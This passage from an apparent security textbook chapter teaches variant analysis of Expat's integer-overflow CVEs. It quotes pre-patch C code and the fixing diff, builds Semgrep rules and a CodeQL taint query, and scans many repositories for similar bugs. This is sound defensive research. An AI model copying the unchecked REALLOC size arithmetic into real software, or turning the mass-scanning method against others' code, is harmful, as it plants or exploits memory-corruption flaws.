❷ n = XmlGetAttributes(enc, attStr, parser->m_attsSize, parser->m_atts);
if (n + nDefaultAtts > parser->m_attsSize) {
    int oldAttsSize = parser->m_attsSize;
    ATTRIBUTE *temp;
#ifdef XML_ATTR_INFO
    XML_AttrInfo *temp2;
#endif
    ❸ parser->m_attsSize = n + nDefaultAtts + INIT_ATTS_SIZE;
    temp = (ATTRIBUTE *)REALLOC(parser, (void *)parser->m_atts,
                                ❹ parser->m_attsSize * sizeof(ATTRIBUTE));

```

Although Expat is considered a fairly straightforward codebase with most of the logic contained in a single file, as you encounter more complex source code, you must quickly build intuition about what a particular snippet does without having to enumerate everything. Even with imperfect information, you can pick up a few clues regarding whether the code is vulnerable. First, the `storeAtts` function—in which the potential variant occurs—is commented with details about what it does. In short, it appears to handle parsing XML attributes, which would indeed be attacker-controlled if the library was handling untrusted XML documents. More specifically, you'd be interested in `parser->m_attsSize` rather than `sizeof(ATTRIBUTE)`, because while both are used in the third argument to `REALLOC` (the sink) ❹, the former is potentially attacker-controlled while the latter is a fixed value.

Going back a few lines, you'll see that `parser->m_attsSize` is set to the sum of several variables ❸. You can ignore `INIT_ATTS_SIZE`, which is a con-

stant. Meanwhile, `nDefaultAtts` is set to another value ❶, and you can make the reasonable guess based on the variable names that this value is equal to the number of default attributes for the type of element being parsed. This appears to be less likely to be attacker-controllable, as it relies on fixed defaults, but you can file it away for further investigation. Finally, `n` is set to the return value of a function ❷, which according to the comment, get the attributes from the tokenizer. If you look up `XmlGetAttributes`, you'll find that it's actually a macro defined in *expat/lib/xmltok.h*:

```
#define XmlGetAttributes(enc, ptr, attsMax, atts)
(((enc)->getAtts)(enc, ptr, attsMax, atts))
```

The macro essentially calls the `getAtts` member function of the `enc` struct instance on the same arguments. Searching for `getAtts` provides the actual implementation of the function in *expat/lib/xmltok_impl.c*. While you can fully analyze the code yourself, the comment above the function definition is sufficient to tell you what it does:

```
/* This must only be called for a well-formed start-tag or empty
   element tag. Returns the number of attributes. Pointers to the
   first attsMax attributes are stored in atts.
*/
```

Fortunately, this suggests that `n` is indeed an attacker-controllable value, since it is the number of attributes in the XML element that's being parsed. Although `attsMax` initially caused some concern because it could potentially limit the number of attributes returned, the comment tells you that it limits only the number of attributes stored in `atts`. You can confirm this by observing that the function increments the return value `nAtts` regardless of whether it has exceeded `attsMax`.

```
case BT_QUOT:
    if (state != inValue) {
        if (nAtts < attsMax)
            atts[nAtts].valuePtr = ptr + MINBPC(enc);
        state = inValue;
        open = BT_QUOT;
    } else if (open == BT_QUOT) {
        state = other;
        ❶ if (nAtts < attsMax)
            atts[nAtts].valueEnd = ptr;
        ❷ nAtts++;
    }
    break;
```

For example, although it checks whether `nAtts < attsMax` ❶, `nAtts++`; falls outside the `if` statement's body ❷ and executes regardless of the result of the `if` statement. In C, only the statement right after an `if` statement is executed unless it is contained inside braces.

This confirms that the eventual value passed as the third argument to `REALLOC` is partially attacker-controllable and is a valid vulnerability. As highlighted earlier, you could skip various steps in the sink-to-source analysis by making reasonable guesses based on variable names and developer comments—a judgement call you’ve to make based on the size of the code-base and the amount of time you can spend on it.

Looking at the pull request that fixed CVE-2022-22822 to CVE-2022-22827, you’ll see that it added a validation check prior to the `REALLOC` invocation in `storeAtts` (<https://github.com/libexpat/libexpat/pull/539/files#diff-d1bcab18f24ba66b34aeb2e156f7fde58ef3de1a165514b0fcf0d04c26838f8R3289-R3294>).

```
+ /* Detect and prevent integer overflow */
+ if ((nDefaultAtts > INT_MAX - INIT_ATTS_SIZE)
+     || (n > INT_MAX - (nDefaultAtts + INIT_ATTS_SIZE))) {
+     return XML_ERROR_NO_MEMORY;
+ }
+
+     parser->m_attsSize = n + nDefaultAtts + INIT_ATTS_SIZE;
+
+ /* Detect and prevent integer overflow.
+  * The preprocessor guard addresses the "always false" warning
+  * from -Wtype-limits on platforms where
+  * sizeof(unsigned int) < sizeof(size_t), e.g. on x86_64. */
+#if UINT_MAX >= SIZE_MAX
+ if ((unsigned)parser->m_attsSize > (size_t)(-1) / sizeof(ATTRIBUTE)) {
+     parser->m_attsSize = oldAttsSize;
+     return XML_ERROR_NO_MEMORY;
+ }
+#endif
```

The description for CVE-2022-22827 states that “storeAtts in `xmlparse.c` in Expat (aka libexpat) before 2.4.3 has an integer overflow.” This confirms that your rule was able to detect a real variant of CVE-2021-46143. Based on the other results, the rule also correctly identifies integer overflows in `defineAttribute` (CVE-2022-22824) and `nextScaffoldPart` (CVE-2022-22826), but fails to identify the ones in `addBinding` (CVE-2022-22822), `build_model` (CVE-2022-22823), and `lookup` (CVE-2022-22825). The latter two are due to the fact that the overflowed integer is passed to a `malloc` call instead of `realloc`. For `addBinding`, the offending code is:

```
XML_Char *temp = (XML_Char *)REALLOC(
    parser, b->uri, sizeof(XML_Char) * (len + EXPAND_SPARE));
```

Interestingly, if you copy this code into a separate file *false_negative.c* and scan it with your Semgrep rule, it’ll be detected. If you recall the Partially scanned: 1 files only partially analyzed due to a parsing or internal Semgrep error message from the Semgrep output earlier, this is because the Semgrep engine does not yet fully support the C language and can fail to properly

parse parts of the code. Additionally, Semgrep's generic representation of code may not capture all the nuances of the C programming language. Use Semgrep's `dump-ast` feature to understand how Semgrep represents the code internally:

```
$ semgrep --lang c --dump-ast false_negative.c
❶ Call(
  N(
    Id(("REALLOC", ()),
    {id_info_id=3; id_hidden=false; id_resolved=Ref(
      None); id_type=Ref(None); id_svalue=Ref(
      None); })),
  [Arg(
    N(
      Id(("parser", ()),
      {id_info_id=4; id_hidden=false; id_resolved=Ref(
        None); id_type=Ref(None); id_svalue=Ref(
        None); })));
```

In the abbreviated output, the abstract syntax tree for the `REALLOC` invocation starts with the node ❶. Semgrep does not differentiate between macro invocations and function calls, which is why the root of this tree is the `Call` element.

Nevertheless, despite its limitations, using a code scanning engine like Semgrep allows you to scan for patterns that go beyond what a simple regex can do. For example, consider another scenario in which a variable is assigned the result of a multiplication or addition operation first, then passed to `REALLOC` as the third argument—rather than the third argument passed to `REALLOC` being a multiplication operation. This creates the same integer overflow vulnerability but allows for a more generic pattern. To achieve this, use the pattern-inside operator as well as metavariables:

```
rules:
- id: CVE-2021-46143
  patterns:
  ❶ - pattern-either:
    - pattern-inside: |
      ❷ (int $SIZE) = $VARIABLE * $CONSTANT;
      ...
    - pattern-inside: |
      (int $SIZE) *= $CONSTANT;
      ...
    - pattern-inside: |
      (int $SIZE) = $VARIABLE + $CONSTANT;
      ...
    - pattern-inside: |
      (int $SIZE) += $CONSTANT;
      ...
```

```
❸ - pattern: REALLOC(parser, $POINTER, $SIZE);  
message: Detected variant of CVE-2021-46143.  
languages: [c]  
severity: ERROR
```

In the new rule, observe how the various permutations of pattern-inside are nested under pattern-either ❶, paying attention to the Boolean operations. Additionally, the rule uses typed metavariables ❷ to increase the accuracy of the rule, since the integer overflow should technically apply only to integer variables. Finally, the rule also uses the same \$SIZE metavariable in both the pattern-inside and pattern operators to match them up.

If you run the rule again on the repository, you should get two new results:

```
Scanning 19 files.  
19/19 tasks 0:00:00
```

```
Results  
Findings:
```

```
expat/lib/xmlparse.c  
CVE-2021-46143  
Detected variant of CVE-2021-46143.  
  
1938 temp = (char *)REALLOC(parser, parser->m_buffer, bytesToAllocate);  
-----  
2573 char *temp = (char *)REALLOC(parser, tag->buf, bufSize);
```

```
Scan Summary
```

```
Some files were skipped or only partially analyzed.
```

```
Scan was limited to files tracked by git.
```

```
Partially scanned: 1 files only partially analyzed due to a parsing or internal Semgrep error
```

```
Scan skipped: 6 files matching .semgrepignore patterns
```

```
For a full list of skipped files, run semgrep with the --verbose flag.
```

```
Ran 1 rule on 18 files: 2 findings.
```

By analyzing these results, you'll discover that one of them is in fact yet another integer overflow that was discovered later in Expat (CVE-2022-25315). Take some time to understand why one finding is a true positive while the other is a false positive. Hint: are there any validation checks before the REALLOC invocation?

Before proceeding to discuss multi-repository variant analysis, recap the path you took to discover variants of CVE-2021-46143. First, you performed a root cause analysis of the original vulnerability by checking the diffs of the patch as well as metadata like patch notes. After that, you wrote an exact match pattern of the vulnerability sink, before iteratively generalizing the

rule to catch more variants. You can tweak your rules to be as strict or loose as you want. For example, you can exclude all matches that include a validation check by using the pattern-not-inside operator. However, each design choice creates a trade-off between higher false positives and higher false negatives.

Multi-repository Variant Analysis

When hunting vulnerability variants in a single repository, you can afford to write more general code scanning rules because most repositories tend to follow a set of coding conventions enforced by the maintainers of the project. Unfortunately, once you try to write a rule to identify vulnerabilities across multiple repositories, you'll quickly encounter all kinds of challenges. Recalling the halting problem from Chapter 3, there are infinite ways in which a developer could call a function like `realloc`, from macros to function pointers. Simply looking for `REALLOC` would not work outside of the Expat codebase.

While “one pattern to match them all” does not exist, researchers can tweak their rules toward the low-false positive, high-confidence end of the spectrum. By scanning thousands of repositories in one go, you can make up for higher false negatives (missing out on potential vulnerabilities) with sheer scale—even a 1 percent hit rate means at least 10 new vulnerabilities. However, the logic is not perfectly transferable given the quirks of each vulnerability; a rule targeting a misconfiguration in a specific framework will have a much smaller pool of potential targets.

One way to decrease the false positive rate is to use data flow analysis and taint tracking rather than pure pattern matching. For this, you can turn to CodeQL's powerful data flow capabilities. Fortunately, instead of tackling CodeQL's complex syntax head-on, you can adapt existing standard library queries that deal with integer overflows used as memory allocation sizes, such as `cpp/integer-overflow-tainted` and `cpp/uncontrolled-allocation-size`. You can simplify and combine the two queries into this:

```
/**
 * @id integer-overflow-allocation-size
 * @name Integer Overflow in Allocation Size
 * @description Potential integer overflow passed to allocation size.
 * @kind path-problem
 * @severity error
 */

import cpp
import semmle.code.cpp.rangeanalysis.SimpleRangeAnalysis
import semmle.code.cpp.dataflow.new.DataFlow
import DataFlow::PathGraph

class MyConfig extends DataFlow::Configuration {
  MyConfig() { this = "MyConfig" }
```

```

override predicate isSource(DataFlow::Node source) {
  exists(Expr e | e = source.asExpr() |
    (
      e instanceof UnaryArithmeticOperation or
      e instanceof BinaryArithmeticOperation or
      e instanceof AssignArithmeticOperation
    ) and
    convertedExprMightOverflow(e)
  )
}

override predicate isSink(DataFlow::Node sink) {
  exists(Expr e, HeuristicAllocationExpr alloc | e = sink.asConvertedExpr() |
    e = alloc.getAChild() and
    e.getUnspecifiedType() instanceof IntegralType and
    not e instanceof Conversion
  )
}
}

from MyConfig cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink, source, sink,
"Potential integer overflow $@ passed to allocation size $@.", source, "source", sink, "sink"

```

Test this rule on Expat by compiling the database with codeql database create --language cpp --source-root expat expat-codeql-database in the Expat root directory, then adding it to the CodeQL VS Code start workplace and running the query like in the CodeQL section at the start of this chapter. It won't return the results you expect, however, since the query looks for only standard library memory allocation functions and does not follow macro invocations. To do so, you need to modify isSink to:

```

override predicate isSink(DataFlow::Node sink) {
  exists(Expr e, ExprCall ec, MacroInvocation mi | e = sink.asConvertedExpr() |
    ec = mi.getExpr() and
    mi.getMacroName() = "REALLOC" and
    e = ec.getAnArgument() and
    e.getUnspecifiedType() instanceof IntegralType
  )
}

```

This returns some vulnerability variants like Semgrep. Since you'll be using CodeQL to perform multi-repository instead of single-repository variant analysis, you should revert the rule to the more generic standard library memory allocation function sinks instead of the Expat-specific REALLOC macro.

With Semgrep, scanning thousands of repositories is relatively more straightforward because it doesn't require a database creation step. You could simply clone all the repositories and run Semgrep directly on them. In contrast, to work with CodeQL, you need to build a database individually for each repository, which could fail if a repository has a non-standard build process or third-party dependencies. Fortunately, the CodeQL team at GitHub has provided pre-built databases of top repositories, allowing you to scan up to 1,000 repositories through distributed continuous integration and continuous delivery (CI/CD) workflows, known as GitHub Actions, that run in the cloud.

To set it up, follow the instructions in the CodeQL documentation (<https://codeql.github.com/docs/codeql-for-visual-studio-code/running-codeql-queries-at-scale-with-mrva/>). When setting up your controller repository, make sure to set the workflow permissions to "Read and write permissions." After the initial setup, in VS Code, click the CodeQL button in the Activity Bar on the left. Under "Variant Analysis Repositories," select **Top 100 repositories**. Finally, right-click anywhere in your custom integer overflow query and select **CodeQL: Run Variant Analysis**. Hopefully, your multi-repository variant analysis starts without a hitch.

After several minutes, you should begin receiving results. The number of results will appear beside each repository name. You can expand the findings to view the data flow paths in the source code.

As you can see, even with just 100 repositories, you receive tens of thousands of results! It isn't feasible to triage all of these findings in a limited time span. By taking a closer look at the results, you'll notice that the numbers vary greatly; some repositories have thousands of results, while others have less than ten. Given that the repositories with thousands of results have a higher likelihood of being false positives, focus on the repositories with less findings. Additionally, as you analyze the results, refine your rule further to filter out common validation patterns and false positives. Finally, you can also use GitHub's custom code search to refine the list of repositories you want to analyze instead of the top repositories. For example, you may wish to specifically analyze XML repositories for XML-specific vulnerabilities.

Conclusion

Automated code analysis tools offer powerful ways to analyze source code at scale. The trade-offs you make and the type of rules you write will vary depending on your strategy—single-repository variant analysis calls for very different tactics compared to multi-repository variant analysis. If done right, you'll be able to discover vulnerabilities far more efficiently with limited resources.

In this chapter, you used the static code analysis tools CodeQL and Semgrep to automate variant analysis. You analyzed the patch notes and code diff of a known vulnerability CVE-2021-46143 to identify the root cause before writing a Semgrep rule that matched the vulnerable pattern. In addi-

tion, you wrote taint tracking and data flow queries with CodeQL that could perform deeper source-to-sink matching across multiple files. Finally, you experimented with multi-repository variant analysis to find vulnerabilities at scale.